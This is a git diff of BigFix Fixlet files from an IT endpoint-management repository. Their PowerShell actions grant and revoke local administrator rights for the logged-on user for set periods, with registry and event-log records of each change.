+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25205">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for 1 day.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1*day}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25206">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for&amp;nbsp;5 days.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 5*day}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25207">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights permanently.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1000000*week}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators - Windows (24405).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators - Windows (24405).bes
index 0ba034e3c..5b19d247e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators - Windows (24405).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators - Windows (24405).bes	
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Current User to Administrators - Windows
-  ID       : 24405
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-06-06T09:51:32
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Add Current User to Administrators - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet adds the currently logged on user to the Administrators group.</P>
-<P><STRONG>Applicability Note: </STRONG>This Fixlet will only be relevant if the currently logged on user is not a part of the Administrators group. This Fixlet will not be relevant if the currently logged on user is a&nbsp;part of a group that is part of the Administrators Group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
-    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
-    <Category>Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait net localgroup &quot;administrators&quot; &quot;{sid of current user}&quot; /add</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Administrators - Windows
+  ID       : 24405
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:51:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the currently logged on user to the Administrators group.</P>
+<P><STRONG>Applicability Note: </STRONG>This Fixlet will only be relevant if the currently logged on user is not a part of the Administrators group. This Fixlet will not be relevant if the currently logged on user is a&nbsp;part of a group that is part of the Administrators Group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
+    <Category>Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait net localgroup &quot;administrators&quot; &quot;{sid of current user}&quot; /add</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators Temporarily - Windows (21369).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators Temporarily - Windows (21369).bes
index 3787d7f66..7a1b8a8fc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators Temporarily - Windows (21369).bes	
